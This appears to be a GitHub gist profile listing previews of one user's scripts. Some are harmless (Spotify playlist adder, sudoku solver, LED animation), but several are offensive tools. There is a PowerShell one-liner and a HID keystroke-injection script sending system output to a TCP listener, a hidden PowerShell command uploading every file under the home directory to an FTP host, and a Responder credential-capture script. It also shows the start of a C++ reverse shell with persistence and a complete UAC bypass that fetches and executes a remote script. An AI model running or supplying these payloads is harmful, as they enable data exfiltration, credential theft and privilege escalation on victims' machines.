Skip to content

Instantly share code, notes, and snippets.

View Klepvink's full-sized avatar
🐦

Klepvink Klepvink

🐦
View GitHub Profile
@Klepvink
Klepvink / pwsh_tcp.ps1
Created October 15, 2019 17:45
Powershell one-liner to send command-output to TCP listener
$Port = "4444";$tcpConnection = New-Object System.Net.Sockets.TcpClient('172.16.0.1', $Port);$tcpStream = $tcpConnection.GetStream();$writer = New-Object System.IO.StreamWriter($tcpStream);$writer.AutoFlush = $true;while ($tcpConnection.Connected){if ($tcpConnection.Connected){$command = ipconfig /all;$output = $command | out-string;$writer.WriteLine($output) | Out-Null;break}}$writer.Close()
@Klepvink
Klepvink / TCP_output.js
Last active October 25, 2019 14:38
[P4wnP1] HIDscript for sending command output over TCP (requires a TCP listener to be active on P4wnP1)
layout("US");
press("GUI r");
delay(500);
type("powershell\n");
delay(1100);
type("$Port = '4444';$tcpConnection = New-Object System.Net.Sockets.TcpClient('172.16.0.1', $Port);$tcpStream = $tcpConnection.GetStream();$writer = New-Object System.IO.StreamWriter($tcpStream);$writer.AutoFlush = $true;while ($tcpConnection.Connected){if ($tcpConnection.Connected){$command = ipconfig /all;$output = $command | out-string;$writer.WriteLine($output) | Out-Null;break}}$writer.Close();exit\n");
@Klepvink
Klepvink / spotify_adder.sh
Created December 5, 2019 17:58
[Spotify] Automagically add (bulk) music to a playlist using a textfile. This requires a token from spotify.
#!/bin/bash
## This script was made for my own projects, and might not work as expected for your projects.
## ██████╗██╗ ██╗ █████╗ ███╗ ██╗ ██████╗ ███████╗ ████████╗██╗ ██╗██╗███████╗██╗
## ██╔════╝██║ ██║██╔══██╗████╗ ██║██╔════╝ ██╔════╝ ╚══██╔══╝██║ ██║██║██╔════╝██║
## ██║ ███████║███████║██╔██╗ ██║██║ ███╗█████╗ ██║ ███████║██║███████╗██║
## ██║ ██╔══██║██╔══██║██║╚██╗██║██║ ██║██╔══╝ ██║ ██╔══██║██║╚════██║╚═╝
## ╚██████╗██║ ██║██║ ██║██║ ╚████║╚██████╔╝███████╗ ██║ ██║ ██║██║███████║██╗
## ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚══════╝╚═╝
## Enter your bearer OAuth token here. For more information, go to https://developer.spotify.com/console/post-playlist-tracks/
@Klepvink
Klepvink / sudokusolver.py
Created June 28, 2020 13:36
[HvA] Automatic sudoku solver
import time
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.common.exceptions import NoSuchElementException
idRow = [["00", "01", "02", "03", "04", "05", "06", "07", "08"],
["10", "11", "12", "13", "14", "15", "16", "17", "18"],
["20", "21", "22", "23", "24", "25", "26", "27", "28"],
["30", "31", "32", "33", "34", "35", "36", "37", "38"],
["40", "41", "42", "43", "44", "45", "46", "47", "48"],
from tika import parser
import sys
import os
import re
from docx import Document
document = Document()
def filecheck(filepath):
return os.path.isfile(filepath)
powershell -w hidden -c "$w=New-Object System.Net.WebClient;$w.Credentials=New-Object System.Net.NetworkCredential('anonymous');foreach($i in(dir $HOME '*' -Recurse)){$u=New-Object System.Uri('ftp://10.8.0.1/'+$i.Name);$w.UploadFile($u,$i.FullName)}"
@Klepvink
Klepvink / quickcreds.sh
Created September 16, 2020 22:17
[Key croc] Quickcreds croc-flavor
#!/bin/bash
#
# Title: Quickcreds - croco-flavor
# Author: Klepvink -- Cred: Hak5Darren && Mubix (based this script on https://github.com/hak5/bashbunny-payloads/blob/master/payloads/library/credentials/QuickCreds/payload.txt)
# Version: 1.0
#
# First making sure that Responder is installed (in the right location)
echo -e ""
echo -e "\e[32mQuickcreds - croco-flavor\e[0m"
echo -e "\e[32mKlepvink -- Cred: Hak5Darren && Mubix\e[0m"
@Klepvink
Klepvink / reverse_shell.cpp
Last active October 7, 2021 11:04
Reverse shell with persistence, written in C++. Credits: https://github.com/dev-frog/C-Reverse-Shell/blob/master/re.cpp
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <iostream>
#include <stdio.h>
using namespace std;
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024
@Klepvink
Klepvink / script.txt
Created October 7, 2021 11:03
dckuino (WHID cactus) powershell privesc
Rem:Generated by Dckuino.js by NURRL
Rem:Modified for use with ESPloit by Corey Harding
Rem:-----
Press:131+114
CustomDelay:500
Print:powershell -c "$r='HKCU:\Environment';$n='windir';$v='powershell IEX (wget {LINK_TO_POWERSHELL_SCRIPT} -useBasicParsing).content;#';sp -Path $r -Name $n -Value $v;schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I;rp -Path $r -Name $n"
Press:176
@Klepvink
Klepvink / launchkey_25_MK2.py
Created February 3, 2022 18:55
Python scripts that puts a rainbow fade on the novation launchkey 25 MK2 LED-lights. Original script was written by David Madison (https://www.partsnotincluded.com/how-to-control-the-leds-on-a-novation-launchkey-mini-ii/)
#
# Launchkey Mini II Sweep Animation
# by David Madison © 2018
# www.partsnotincluded.com
#
#
# Modified to work for the Launchkey 25 MK2.
# Instead of the original sweep, it now displays
# a looping rainbow fade.